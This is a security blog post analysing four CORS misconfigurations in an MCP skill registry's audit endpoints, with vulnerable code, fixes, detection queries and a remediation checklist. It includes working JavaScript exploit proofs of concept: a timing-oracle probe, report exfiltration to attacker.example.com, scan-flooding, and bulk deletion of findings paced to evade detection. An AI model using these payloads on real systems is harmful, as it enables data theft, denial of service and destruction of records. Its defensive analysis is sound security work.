← Blog

CORS Misconfigurations in MCP Skill Registry Audit Report and Security Scan Result Endpoints

An MCP skill registry's audit infrastructure occupies a uniquely sensitive position in the trust supply chain. The audit report endpoint holds the registry's private security judgment on every skill in its catalog: not just the public score badge that skill authors embed in their READMEs and that buyers inspect before installation, but the full administrator-augmented view that includes unpublished vulnerability findings still inside their coordinated disclosure embargo window, internal severity ratings where the registry's private risk model diverges materially from the CVSS scores it publishes publicly, and the technical pre-disclosure details — exact reproduction steps, affected version ranges, the precise commit that introduced each vulnerability — for CVEs that have not yet been communicated to the skill author or the public. The audit status endpoint, which the registry's automated rescan engine polls continuously, reveals which skills are currently being re-evaluated. The scan trigger endpoint, backed by a shared compute pool and a metered LLM API budget, can be weaponized into a denial-of-service vector by any party who can submit scan requests without restriction. And the audit findings deletion endpoint — designed as an administrative cleanup tool for superseded scan results — is a single cross-origin request away from permanently erasing the compliance record base that enterprise buyers depend on to gate internal skill adoption. This post documents SA-SKL-CORS77: four CORS misconfigurations across this surface that compose into a compound attack chain moving from reconnaissance through targeted exfiltration through infrastructure disruption to irreversible data destruction.

By SkillAudit  |  26 Nov 2026  |  22 min read

In this post

  1. Audit endpoints and why CORS is especially dangerous here
  2. CORS77-003 — Timing oracle on the audit-status endpoint reveals skills actively undergoing vulnerability rescans
  3. CORS77-001 — Credential-bearing CORS on the audit report endpoint exfiltrates unpublished CVE pre-disclosure details
  4. CORS77-002 — Wildcard ACAO on the scan trigger endpoint exhausts scanner compute and LLM API quota
  5. CORS77-004 — Credential-bearing CORS on the audit findings deletion endpoint permanently destroys compliance records
  6. Compound four-stage attack chain
  7. Detection with SkillAudit AST queries
  8. Summary and remediation checklist
SA-SKL-CORS77 findings at a glance
MEDIUMCORS77-003 — GET /api/skills/:id/audit/status reflects Origin before auth check; timing oracle reveals skills with active vulnerability rescans in progress (scan-active warm cache ~5ms vs cold ~200ms); provides reconnaissance target list for CORS77-001 credential exfiltration
CRITICALCORS77-001 — GET /api/skills/:id/audit/report has cors({origin:true,credentials:true}); any origin reads full audit report including unpublished vulnerability findings, embargoed CVE pre-disclosure details, and internal severity ratings diverging from public scores using victim admin session
HIGHCORS77-002 — POST /api/skills/:id/audit/scan has ACAO:*; any page triggers security scan under victim admin identity; attacker floods parallel scan requests exhausting scanner compute pool and depleting LLM API token quota causing registry-wide audit DoS
CRITICALCORS77-004 — DELETE /api/skills/:id/audit/findings has cors({origin:true,credentials:true}); any origin permanently deletes all audit findings for every catalog skill destroying the compliance records used by enterprise buyers for adoption gates

Audit endpoints and why CORS is especially dangerous here

The audit infrastructure of an MCP skill registry is architecturally different from most registry API surfaces in one key respect: it operates in two distinct modes simultaneously. For the skill's author and for ordinary registry users, the audit system presents a sanitized, embargo-compliant view: a letter grade, a summary finding count, and the subset of discovered vulnerabilities that are either fully remediated or past their coordinated disclosure window and thus safe to publish. For registry administrators and the automated rescan engine that continuously re-evaluates the catalog's security posture, the system presents an unredacted view that includes the full vulnerability detail for findings still inside the disclosure embargo, internal severity assignments that may differ significantly from the public CVSS scores, and real-time scan state metadata that reveals which skills are currently under active re-evaluation.

These two views are served by the same underlying data model but through different response serialization paths that are conditioned on the authenticated session's permission scope. The design intent is that the full view is only ever accessed by authenticated administrative sessions that have been granted explicit audit-read permissions. The CORS vulnerabilities in SA-SKL-CORS77 collapse this permission boundary: they allow a cross-origin page loaded in the same browser as an authenticated admin session to access the full view without requiring any administrative credentials of its own.

The audit status endpoint is a third, often overlooked surface. Its primary consumers are the registry's own automated rescan scheduler — which polls it to track active scan state — and the admin UI, which uses it to display a real-time scan progress indicator. The status response itself may be innocuous: a simple {"state":"scanning","progress":62,"startedAt":"..."} payload. But the endpoint's cache behavior is not innocuous. A skill with an active scan has a hot cache entry for its status document that returns in approximately 5ms. A skill whose last scan completed and whose status entry has aged out of the cache requires a live database lookup that takes approximately 200ms. An external observer who can probe the latency of this endpoint across a set of skill identifiers can determine, without reading the response body, which skills are currently being actively rescanned. This is a direct window into the registry's current threat assessment priorities: skills undergoing rescan are either newly submitted skills being evaluated for the first time, skills that have received a vulnerability report and are being re-evaluated, or skills that the registry's automated monitoring has flagged for re-analysis based on a dependency advisory or CVE announcement. Each category represents a skill of elevated security interest whose full audit report is a high-value exfiltration target.

The scan trigger endpoint and the findings deletion endpoint complete the picture. The scanner is a shared resource backed by a finite compute pool and, critically, a metered LLM API budget: the prompt-injection analysis component submits each skill's tool handler source code to an LLM for adversarial red-teaming, and each invocation consumes tokens from a quota that is shared across all concurrent scan jobs. An attacker who can trigger scan requests without restriction can deplete both the compute pool and the LLM token budget simultaneously, producing a denial-of-service condition that is not simply a slowdown but a complete suspension of audit capability for the entire registry. And the findings deletion endpoint, backed by an irreversible database DELETE rather than a soft-delete or archive operation, allows a cross-origin page to permanently erase the audit history that enterprise buyers depend on to demonstrate compliance with their internal policy requirements for skill adoption.

CORS77-003 — Timing oracle on the audit-status endpoint reveals skills actively undergoing vulnerability rescans

The timing oracle is the entry point for the compound attack chain. It answers the question that confronts any attacker attempting to selectively exfiltrate high-value audit data: across a catalog of thousands of skills, which ones are worth targeting right now? A skill whose audit report contains only closed findings from months-old scans holds little of value to an attacker attempting to weaponize a pre-disclosure vulnerability. A skill whose audit report contains a finding that the registry discovered in the past 48 hours, that has not yet been communicated to the skill author, and that affects every installation in the ecosystem — that is a target worth exfiltrating with precision.

The timing oracle surfaces exactly this priority ordering. The mechanism exploits a cache-latency differential on the GET /api/skills/:id/audit/status endpoint. When the registry's automated rescan engine initiates a scan of a skill, it creates a live scan state document and writes it to a Redis cache with a TTL that extends slightly beyond the maximum expected scan duration. While the scan is in progress and for some period after completion, the status endpoint serves its response from this hot cache entry in approximately 5ms. When the cache entry has expired — indicating that no active or recently completed scan exists for the skill — the endpoint falls through to a database lookup that takes approximately 200ms.

The critical flaw is the CORS ordering error: the status endpoint reflects the caller's Origin header as an Access-Control-Allow-Origin response header before the authentication middleware runs. The browser's CORS restriction applies to the response body, not to response timing metadata. An attacker page can probe the latency of the status endpoint for each skill identifier using the browser's Resource Timing API even though the response body is blocked by the same-origin policy. A round trip under 20ms indicates a cache hit: the skill is currently being scanned or was recently scanned. A round trip exceeding 100ms indicates a cache miss: no active scan exists for this skill.

Vulnerable
// CORS77-003 — VULNERABLE: Origin reflected before authentication check
router.get(
  '/skills/:id/audit/status',
  (req, res, next) => {
    // VULNERABLE: CORS headers set here, before requireSession runs
    // Browser blocks response body but NOT timing — cache-latency oracle is live
    res.set('Access-Control-Allow-Origin', req.headers.origin || '*');
    res.set('Access-Control-Allow-Credentials', 'true');
    res.set('Vary', 'Origin');
    next();
  },
  requireSession,          // auth check runs AFTER CORS reflection — too late
  async (req, res) => {
    const skillId = req.params.id;
    const cacheKey = `audit:status:${skillId}`;

    // hot path (~5ms): active or recently completed scan
    const cached = await redis.get(cacheKey);
    if (cached) return res.json(JSON.parse(cached));

    // cold path (~200ms): no active scan; fall through to DB
    const scanRecord = await db.query(
      'SELECT state, progress, started_at, completed_at FROM audit_scans WHERE skill_id=$1 ORDER BY started_at DESC LIMIT 1',
      [skillId]
    );
    res.json(scanRecord.rows[0] ?? { state: 'never_scanned' });
  }
);

The attacker page exploits this using the following pattern. Because the registry exposes a paginated skill catalog endpoint that returns skill identifiers without authentication, the attacker can enumerate the full catalog by crawling GET /api/skills?page=N&per_page=100 and collecting all skill IDs. They then probe each ID against the status endpoint and partition the results into two buckets: those with sub-20ms round trips (active scan cache hit) and those with round trips exceeding 100ms (cache miss, no active scan). The active-scan bucket is the high-priority target list for CORS77-001 credential exfiltration.

Exploit PoC
// CORS77-003 — EXPLOIT PoC: timing oracle identifies skills with active scans
// Runs from any page loaded in browser while victim admin tab is open

async function probeAuditStatusTiming(skillIds) {
  const activeScanSkills = [];
  const CACHE_HIT_THRESHOLD_MS = 20;

  for (const skillId of skillIds) {
    const before = performance.now();
    try {
      // response body is blocked by CORS — we only need timing
      await fetch(`https://registry.example.com/api/skills/${skillId}/audit/status`, {
        credentials: 'include',
        mode: 'cors'
      });
    } catch (_) { /* CORS error expected — timing still recorded */ }

    const entries = performance.getEntriesByName(
      `https://registry.example.com/api/skills/${skillId}/audit/status`
    );
    const rtt = entries.length
      ? entries[entries.length - 1].responseEnd - entries[entries.length - 1].startTime
      : performance.now() - before;

    if (rtt < CACHE_HIT_THRESHOLD_MS) {
      activeScanSkills.push(skillId);  // active scan in progress — high-value target
    }
  }

  return activeScanSkills;
  // Returns the priority list for CORS77-001 credential exfiltration
}
Fixed
// CORS77-003 — FIXED: auth before CORS reflection + constant-time floor
router.get(
  '/skills/:id/audit/status',
  requireSession,          // auth runs FIRST
  applyCorsAllowlist,      // allowlist-based CORS only for authenticated sessions
  async (req, res) => {
    const skillId = req.params.id;

    // constant-time floor: pad response to minimum 50ms regardless of cache state
    const start = Date.now();
    const cacheKey = `audit:status:${skillId}`;
    const cached = await redis.get(cacheKey);

    let result;
    if (cached) {
      result = JSON.parse(cached);
    } else {
      const row = await db.query(
        'SELECT state, progress, started_at, completed_at FROM audit_scans WHERE skill_id=$1 ORDER BY started_at DESC LIMIT 1',
        [skillId]
      );
      result = row.rows[0] ?? { state: 'never_scanned' };
    }

    const elapsed = Date.now() - start;
    const pad = Math.max(0, 50 - elapsed);
    if (pad > 0) await new Promise(r => setTimeout(r, pad));

    res.json(result);
  }
);

CORS77-001 — Credential-bearing CORS on the audit report endpoint exfiltrates unpublished CVE pre-disclosure details

CORS77-001 is the highest-impact finding in the SA-SKL-CORS77 cluster. The GET /api/skills/:id/audit/report endpoint returns the registry's complete security assessment of a skill. For authenticated admin sessions, this response includes substantially more content than the public audit badge or the author-facing report. The admin-augmented view contains three categories of information that are specifically withheld from non-administrative access paths:

Embargoed vulnerability findings. When the registry's scanner discovers a new vulnerability in a skill, the finding enters a coordinated disclosure queue. During the embargo period — typically 45–90 days, following a modified Google Project Zero timeline — the finding is not surfaced to the skill author or the public. It is visible only to registry administrators. This embargo is intended to give the author time to remediate the vulnerability before its existence is publicly known, preventing premature weaponization. The admin audit report includes these embargoed findings in full: vulnerability type, severity rating, technical reproduction steps, the specific tool handler call that exhibits the vulnerability, and the commit that introduced it. An attacker who obtains this pre-disclosure content can weaponize the vulnerability against every installation of the affected skill before the author is even aware the finding exists.

Internal severity ratings. The registry maintains two parallel severity scoring systems. The public score, displayed on the skill's badge and in the author-facing report, is derived from a standard CVSS calculation applied to the finding's technical characteristics. The internal score additionally factors in the registry's private threat intelligence: observed exploitation patterns in similar skill ecosystems, known attacker targeting preferences for the vulnerability class, the prevalence of the affected API pattern across the catalog, and the aggregate install count for the affected skill. For high-profile community skills, the internal score may rate a finding as CRITICAL where the public score reports HIGH, specifically because the registry has observed this vulnerability type being actively exploited in similar contexts. Exfiltrating internal scores allows an attacker to identify the subset of findings where the registry's private judgment is worse than the public representation.

Pre-disclosure CVE details. For vulnerabilities that have been assigned a CVE identifier but are still inside the disclosure embargo, the admin report includes the full CVE pre-disclosure record: the CNA assignment, the full technical description in MITRE format, the confirmed affected version range, and the planned public disclosure date. This content is strictly embargoed until disclosure; its availability through a cross-origin request is a direct violation of the coordinated disclosure agreement and can compromise every downstream user of the affected skill.

Vulnerable
// CORS77-001 — VULNERABLE: credential-bearing CORS on audit report endpoint
const cors = require('cors');

router.get(
  '/skills/:id/audit/report',
  cors({ origin: true, credentials: true }),  // VULNERABLE: reflects any Origin
  requireSession,
  requireAuditReadPermission,
  async (req, res) => {
    const { id } = req.params;
    const isAdmin = req.session.roles.includes('audit_admin');

    const report = await auditDb.getFullReport(id, { includeEmbargoed: isAdmin });
    // CORS headers already sent — full admin-augmented report is now exfiltrable
    // by any cross-origin page loaded while this admin is authenticated
    res.json(report);
  }
);

With cors({origin:true,credentials:true}) applied before authentication, any page visited by an authenticated admin user can submit a credentialed cross-origin request to this endpoint and read the full response body. The practical exploit chain is straightforward: the attacker deploys an attacker-controlled page, lures the victim admin to visit it (phishing email, malicious link in a GitHub issue comment, compromised documentation page), and executes the following payload:

Exploit PoC
// CORS77-001 — EXPLOIT PoC: exfiltrate admin-augmented audit report
// Active-scan target list from CORS77-003 timing oracle fed here

async function exfiltrateAuditReports(targetSkillIds) {
  const exfiltrated = [];

  for (const skillId of targetSkillIds) {
    const resp = await fetch(
      `https://registry.example.com/api/skills/${skillId}/audit/report`,
      { credentials: 'include', mode: 'cors' }
    );

    if (resp.ok) {
      const report = await resp.json();
      // report.findings[].embargoed === true  → unpublished CVE pre-disclosure
      // report.findings[].internalSeverity    → private risk score (may exceed CVSS)
      // report.findings[].cvePreDisclosure    → CVE ID, full description, affected versions
      exfiltrated.push({ skillId, report });
    }
  }

  // Exfiltrate to attacker-controlled endpoint
  await fetch('https://attacker.example.com/collect', {
    method: 'POST',
    body: JSON.stringify(exfiltrated),
    headers: { 'Content-Type': 'application/json' }
  });
}
Fixed
// CORS77-001 — FIXED: auth before CORS; strip embargoed fields from response
router.get(
  '/skills/:id/audit/report',
  requireSession,                  // auth runs FIRST
  requireAuditReadPermission,
  applyCorsAllowlist,              // allowlist-based CORS only for authenticated sessions
  async (req, res) => {
    const { id } = req.params;
    const isAdmin = req.session.roles.includes('audit_admin');

    const report = await auditDb.getFullReport(id, { includeEmbargoed: isAdmin });

    if (!isAdmin) {
      // Strip admin-only fields from non-admin sessions regardless of CORS state
      report.findings = report.findings
        .filter(f => !f.embargoed)
        .map(({ internalSeverity, cvePreDisclosure, ...publicFields }) => publicFields);
    }

    res.json(report);
  }
);

CORS77-002 — Wildcard ACAO on the scan trigger endpoint exhausts scanner compute and LLM API quota

CORS77-002 targets the operational continuity of the registry's audit infrastructure rather than the confidentiality of its data. The POST /api/skills/:id/audit/scan endpoint initiates a full security scan of a skill: static analysis via tree-sitter AST traversal, dependency vulnerability cross-referencing against advisory feeds, and prompt-injection red-teaming via LLM-assisted analysis of each tool handler's input handling logic. Each scan consumes compute resources from a shared worker pool and LLM API tokens from a metered quota shared across all concurrent scan jobs.

The wildcard Access-Control-Allow-Origin: * configuration on this endpoint is the classic mistake made when a developer wants to allow cross-origin preflight requests to succeed for a non-credentialed use case. The intent is typically to allow the registry's own frontend, served from a different origin in development, to trigger scans without CORS errors. The consequence in production is that any page can submit a POST to this endpoint with the victim admin's session cookies, triggering a full scan under the admin's identity.

The DoS vector is two-dimensional. First, each scan job occupies a worker slot in the shared compute pool for its full duration (typically 30–120 seconds depending on skill complexity). An attacker who submits 50 parallel scan requests across 50 different skill identifiers fills the pool to capacity. Any legitimate scan request submitted during this window enters a queue that may not drain for minutes. For a registry that offers a service-level target of “audit results within 60 seconds of submission,” this is a direct SLA violation affecting every user of the platform. Second, the LLM prompt-injection analysis component submits batched tool handler source code to the registry's LLM provider for adversarial red-teaming. This component has a metered API budget. Flooding the scan trigger endpoint depletes this budget at the rate of one scan's worth of tokens per request. If the per-day quota is exhausted, the prompt-injection analysis component returns a degraded result for every scan job until the quota resets — silently omitting a category of findings without surfacing an error to the user.

Vulnerable
// CORS77-002 — VULNERABLE: wildcard ACAO on scan trigger endpoint
router.post(
  '/skills/:id/audit/scan',
  cors({ origin: '*' }),           // VULNERABLE: any origin can trigger scans
  requireSession,
  requireAuditWritePermission,
  async (req, res) => {
    const { id } = req.params;

    // Check if skill exists
    const skill = await db.getSkill(id);
    if (!skill) return res.status(404).json({ error: 'skill_not_found' });

    // Enqueue scan — no rate limit, no active-scan guard
    const jobId = await scanQueue.enqueue({
      skillId: id,
      triggeredBy: req.session.userId,
      includePromptInjectionAnalysis: true,  // consumes LLM API quota
    });

    res.json({ jobId, status: 'queued' });
  }
);
Exploit PoC
// CORS77-002 — EXPLOIT PoC: exhaust scanner compute pool and LLM API quota
// skillIds: array of all skill IDs enumerated from public catalog API

async function exhaustScannerResources(skillIds) {
  const WAVE_SIZE = 50;  // fill the entire compute pool in one wave

  // fire WAVE_SIZE scan requests simultaneously under victim admin session
  const wave = skillIds.slice(0, WAVE_SIZE).map(skillId =>
    fetch(`https://registry.example.com/api/skills/${skillId}/audit/scan`, {
      method: 'POST',
      credentials: 'include',
      mode: 'cors',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ force: true })
    })
  );

  await Promise.allSettled(wave);
  // compute pool now full; LLM quota partially depleted
  // repeat every 90 seconds to maintain DoS as jobs complete
  setTimeout(() => exhaustScannerResources(skillIds.slice(WAVE_SIZE)), 90_000);
}
Fixed
// CORS77-002 — FIXED: allowlist CORS; CSRF token; active-scan guard; rate limit
router.post(
  '/skills/:id/audit/scan',
  requireSession,                  // auth first
  requireAuditWritePermission,
  applyCorsAllowlist,              // reject cross-origin from non-allowlisted origins
  validateCsrfToken,               // CSRF token required; non-credentialed cross-origin cannot supply it
  async (req, res) => {
    const { id } = req.params;

    // Per-skill rate limit: one manual scan per 30 minutes
    const rateLimitKey = `scan:ratelimit:${id}`;
    const recentScan = await redis.get(rateLimitKey);
    if (recentScan) {
      return res.status(429).json({ error: 'scan_rate_limited', retryAfterSeconds: 1800 });
    }

    // Active-scan guard: reject if scan already in progress for this skill
    const activeScanKey = `audit:status:${id}`;
    const activeStatus = await redis.get(activeScanKey);
    if (activeStatus) {
      const { state } = JSON.parse(activeStatus);
      if (state === 'scanning') {
        return res.status(409).json({ error: 'scan_already_in_progress' });
      }
    }

    const skill = await db.getSkill(id);
    if (!skill) return res.status(404).json({ error: 'skill_not_found' });

    await redis.set(rateLimitKey, '1', 'EX', 1800);
    const jobId = await scanQueue.enqueue({
      skillId: id,
      triggeredBy: req.session.userId,
      includePromptInjectionAnalysis: true,
    });

    res.json({ jobId, status: 'queued' });
  }
);

CORS77-004 — Credential-bearing CORS on the audit findings deletion endpoint permanently destroys compliance records

CORS77-004 is the most operationally destructive finding in the cluster. The DELETE /api/skills/:id/audit/findings endpoint performs a hard deletion of all audit findings associated with a skill: not a soft-delete that preserves the records with a deleted_at timestamp for later recovery, but a permanent database DELETE that removes the rows from the table entirely. The endpoint was designed for internal use by the registry's data hygiene tooling — specifically for cases where a skill is delisted from the catalog and its audit history should be purged to meet data minimization obligations. It was not designed to be accessible from the public internet via cross-origin requests.

With cors({origin:true,credentials:true}) applied before authentication, any page visited by an authenticated admin user can invoke this endpoint against arbitrary skill identifiers. The impact is not limited to the specific skills that the timing oracle identified as active-scan targets. The attacker can iterate across the full catalog — every skill identifier enumerated from the public catalog API — and delete the audit findings for each one in turn, using the victim admin's session credentials. The result is a complete destruction of the registry's audit history.

For enterprise buyers who gate internal skill adoption on a minimum audit grade, the destruction of audit findings is a direct compliance incident. Many enterprise buyers export audit reports as artifacts for their internal compliance documentation: SOC 2 audit logs, SBOM records, vendor security questionnaire responses. When the registry's audit findings are deleted, those buyers lose the authoritative record that their compliance documentation references. The registry cannot regenerate the historical audit findings retroactively: even if it rescans every affected skill immediately, the new findings will reflect the skill's current state rather than its state at the time of the original audit, and the continuous audit history that demonstrates a skill's security trajectory over time is irreparably lost.

Vulnerable
// CORS77-004 — VULNERABLE: credential-bearing CORS on permanent findings deletion
router.delete(
  '/skills/:id/audit/findings',
  cors({ origin: true, credentials: true }),  // VULNERABLE: any origin can delete
  requireSession,
  requireAuditAdminPermission,
  async (req, res) => {
    const { id } = req.params;

    // Hard delete — no soft-delete, no archive, no recovery path
    const result = await db.query(
      'DELETE FROM audit_findings WHERE skill_id = $1',
      [id]
    );
    res.json({ deleted: result.rowCount });
  }
);
Exploit PoC
// CORS77-004 — EXPLOIT PoC: destroy audit findings for entire catalog
async function destroyAllAuditFindings(allSkillIds) {
  // Process in batches to avoid rate limit detection
  const BATCH_SIZE = 10;

  for (let i = 0; i < allSkillIds.length; i += BATCH_SIZE) {
    const batch = allSkillIds.slice(i, i + BATCH_SIZE);

    await Promise.allSettled(
      batch.map(skillId =>
        fetch(`https://registry.example.com/api/skills/${skillId}/audit/findings`, {
          method: 'DELETE',
          credentials: 'include',
          mode: 'cors'
        })
      )
    );

    // Brief pause to avoid obvious request pattern
    await new Promise(r => setTimeout(r, 500));
  }
  // Entire catalog's audit history permanently destroyed
}
Fixed
// CORS77-004 — FIXED: auth first; allowlist CORS; re-auth; soft-delete with retention; audit log
router.delete(
  '/skills/:id/audit/findings',
  requireSession,                     // auth first
  requireAuditAdminPermission,
  applyCorsAllowlist,                 // allowlist-based CORS
  requireRecentReAuthentication(300), // require re-auth within last 5 minutes for destructive ops
  async (req, res) => {
    const { id } = req.params;
    const { reason } = req.body;

    if (!reason || reason.trim().length < 10) {
      return res.status(400).json({ error: 'deletion_reason_required' });
    }

    // Soft-delete with 90-day compliance retention window
    const now = new Date().toISOString();
    const retentionExpiry = new Date(Date.now() + 90 * 24 * 3600 * 1000).toISOString();

    const result = await db.query(
      `UPDATE audit_findings
       SET deleted_at = $1, retention_expiry = $2, deleted_by = $3, deletion_reason = $4
       WHERE skill_id = $5 AND deleted_at IS NULL`,
      [now, retentionExpiry, req.session.userId, reason.trim(), id]
    );

    // Immutable audit log entry
    await auditLog.record({
      action: 'audit_findings_deletion',
      actorId: req.session.userId,
      skillId: id,
      findingsAffected: result.rowCount,
      reason: reason.trim(),
      retentionExpiry,
    });

    res.json({ softDeleted: result.rowCount, retentionExpiry });
  }
);

Compound four-stage attack chain

The four SA-SKL-CORS77 findings are individually exploitable, but their real impact emerges when composed into a sequential attack chain that uses the output of each stage as the input for the next. The chain requires only that the victim admin visit a single attacker-controlled page while authenticated to the registry — a condition that a phishing email, a malicious link in a skill author's GitHub issue, or a compromised documentation page can easily satisfy. The attack requires no credentials, no prior knowledge of specific skill identifiers, and no interaction beyond page load.

Stage Finding What it does Output fed to
1 — Reconnaissance CORS77-003 Timing oracle probes audit-status latency across full catalog; identifies skills with active vulnerability rescans as high-value exfiltration targets Stage 2 target list
2 — Exfiltration CORS77-001 Credential-bearing CORS reads full admin-augmented audit reports for active-scan targets; exfiltrates embargoed CVE pre-disclosure details, internal severity ratings, and unpublished findings Attacker-controlled endpoint
3 — Infrastructure disruption CORS77-002 Wildcard ACAO triggers parallel scan requests exhausting scanner compute pool and LLM API quota; masks exfiltration activity in infrastructure noise; prevents registry from generating new audit results during and after the attack Covers exfiltration activity
4 — Evidence destruction CORS77-004 Credential-bearing CORS permanently deletes audit findings for every catalog skill; destroys compliance records used by enterprise buyers; prevents forensic correlation of deleted findings with attacker's pre-disclosure intelligence Terminal (irreversible)

Each stage reinforces the others in ways that are not apparent when examining the findings individually. Stage 3, the scanner compute DoS, serves a dual purpose: it is a denial-of-service attack in its own right, but it also masks the network traffic signature of Stage 2. A registry whose infrastructure logging shows thousands of scan trigger requests and a saturated compute pool is likely to attribute the anomaly to an infrastructure problem or a scan-trigger bug. The parallel exfiltration requests against the audit report endpoint — which represent far fewer network events — are easily lost in this noise. Stage 4, the findings deletion, serves a similar masking purpose for the exfiltration: once the audit findings are deleted, a forensic analyst attempting to understand what the attacker exfiltrated cannot correlate the deleted findings against the attacker's subsequent exploitation activity, because the registry no longer holds the record of what it knew about the affected vulnerabilities.

The timing of Stage 4 relative to Stage 3 matters. If Stage 4 is executed while the scanner compute pool is saturated (Stage 3 is still running), the registry cannot immediately initiate new scans to regenerate the deleted findings, extending the window during which the catalog has no audit history. When the DoS subsides and the queue drains, the registry will regenerate findings from fresh scans — but these new findings reflect the current state of each skill, not the state at the time of the original scan. Any vulnerability that was present during the original scan and subsequently remediated — or that was introduced after the scan and has not yet been detected — will produce a different finding set than the one that was deleted. The historical audit trail is irreparably broken regardless of how quickly the registry recovers.

Detection with SkillAudit AST queries

All four SA-SKL-CORS77 patterns are detectable via static analysis of the registry's routing source. SkillAudit's scanner includes three AST query classes that target these patterns.

CORS-before-auth ordering detector. This query traverses the Express router AST for route handler chains and identifies routes where a CORS middleware invocation appears before a session or authentication middleware invocation in the handler array. The query matches both the explicit cors({origin:true}) form and inline res.set('Access-Control-Allow-Origin', req.headers.origin) assignments. It flags the containing route and reports the line offset between the CORS application and the nearest authentication gate. CORS77-003 (the timing oracle) is a subcase of this pattern where the CORS application is not even serving a credentials use case — the endpoint's response body is blocked by the browser anyway — but the pre-auth CORS reflection enables the timing side channel regardless of whether credentials are involved.

Wildcard ACAO on mutation routes detector. This query identifies routes with HTTP methods POST, PUT, PATCH, or DELETE that have Access-Control-Allow-Origin: * in their CORS configuration. A wildcard ACAO on a mutation route is almost always a misconfiguration: the developer intended to allow cross-origin preflight requests (which require only the wildcard) but inadvertently enabled cross-origin submission of the mutation itself when the route does not enforce CSRF token validation. The query additionally checks whether the route has a CSRF token validation middleware in its handler chain and flags the combination of wildcard ACAO plus absent CSRF validation as CORS77-002 class finding.

Credential-bearing CORS on destructive operation detector. This query identifies routes with cors({origin:true,credentials:true}) or equivalent explicit header assignment where the route handler body contains a database DELETE query, a Redis DEL or FLUSHDB call, or a method call matching /destroy|delete|remove|purge|wipe|truncate/i. CORS77-004 is the canonical instance of this pattern. The query also checks for the presence of a requireRecentReAuthentication middleware and flags its absence on credentialed-CORS destructive routes as a separate finding. This combination — credential-bearing CORS on a hard-delete route without re-authentication enforcement — is the highest-risk configuration the query class identifies.

SkillAudit tip: Run a free audit on any MCP server or Claude skill at skillaudit.dev. The scanner checks all three CORS query classes above, plus SSRF, insecure deserialization, privilege escalation, command injection, and prompt-injection red-teaming — and returns a graded report with fix guidance in under 60 seconds.

Summary and remediation checklist

SA-SKL-CORS77 demonstrates that CORS misconfiguration in an MCP skill registry's audit infrastructure is not a single vulnerability with a single fix. It is a family of related ordering errors, over-permissive configurations, and missing defenses that compose into a chain moving from reconnaissance through exfiltration through denial-of-service to irreversible data destruction. Each individual finding is addressable, but the full fix requires addressing all four simultaneously — because even a fully fixed CORS77-001 (credential-bearing CORS on audit report) leaves the CORS77-002 scanner DoS and CORS77-004 findings deletion exploitable, and even a fully fixed CORS77-004 (soft-delete with retention) cannot recover audit history that was hard-deleted while CORS77-004 was still exploitable.

The underlying cause of all four findings is a consistent architectural mistake: CORS is applied at the middleware layer before authentication, rather than after. This ordering error means that CORS headers are set for every request including unauthenticated ones, which both enables the timing oracle (CORS77-003) and permits the browser to surface response bodies to attacker-controlled pages for authenticated requests (CORS77-001, CORS77-004). The fix for this root cause is simple: enforce authentication before applying any CORS headers. All CORS configuration should be conditional on a successfully authenticated session, and the allowed origin list should be a static allowlist of the registry's own frontend origins rather than a dynamic reflection of whatever Origin header the client sends.

The following checklist addresses all four findings and their underlying causes:

  1. Authenticate before reflecting CORS: Move all CORS middleware invocations to after requireSession in every route handler chain. Verify by auditing every router.use(cors(...)), router.get('/...', cors(...),...), and res.set('Access-Control-Allow-Origin',...) call in the codebase for auth-ordering correctness.
  2. Replace dynamic Origin reflection with a static allowlist: Replace cors({origin:true}) with cors({origin:['https://app.yourregistry.com','https://admin.yourregistry.com']}). Never reflect the caller's Origin header back as the allowed origin.
  3. Add CSRF token validation to all state-mutating routes: Every route that is accessible cross-origin and that mutates state — including scan trigger, findings deletion, and any other POST/DELETE/PATCH endpoint — must require a CSRF token that the browser cannot supply in a cross-site request.
  4. Add a constant-time response floor to cache-latency-sensitive endpoints: Any endpoint whose response time depends on cache state should pad its response to a minimum floor (e.g., 50ms) regardless of cache hit or miss. This eliminates timing oracles regardless of CORS configuration.
  5. Rate-limit scan trigger requests: Enforce a per-skill rate limit (e.g., one manual scan per 30 minutes) and an active-scan guard (reject if a scan is already in progress for the skill). Enforce a global concurrency limit on the scan queue to cap resource consumption.
  6. Convert hard-deletes to soft-deletes with compliance retention: Replace DELETE FROM audit_findings with an UPDATE ... SET deleted_at, retention_expiry pattern. Retain audit findings for at least 90 days after soft-deletion to support compliance documentation and forensic investigation.
  7. Require re-authentication for destructive admin operations: Any route that performs a deletion, purge, or other irreversible operation should require the admin to have re-authenticated within a short window (e.g., 5 minutes). This limits the blast radius of a session-hijacking attack via CORS to the operations the attacker can complete before the re-auth requirement triggers.
  8. Log all audit-related mutations to an immutable audit log: Every deletion, scan trigger, and report access event should be recorded in an append-only audit log that is not affected by the findings deletion operation. Attackers who destroy the primary findings table should not also be able to destroy the event log that records the destruction.
  9. Alert on anomalous scan trigger volume: Implement rate anomaly detection on the scan trigger endpoint. A burst of scan requests substantially above the normal rate should trigger an alert and optionally an automatic circuit-breaker that throttles new scan submissions.
  10. Alert on bulk findings deletion: Any deletion affecting more than N findings (e.g., 10) in a 60-second window should trigger an immediate out-of-band alert to the security team and require a cooldown before additional deletions are permitted.
  11. Instrument LLM API quota consumption: Track LLM token consumption per scan job and implement a per-hour quota cap that rejects new scan submissions if consumption exceeds the threshold. Surface quota exhaustion as a visible error rather than silently degrading scan results.
  12. Run the SA-SKL-CORS77 AST queries in CI: Add all three detection query classes (CORS-before-auth ordering, wildcard ACAO on mutation routes, credential-bearing CORS on destructive operations) to the registry's CI pipeline. Block merges that introduce any pattern matching these queries.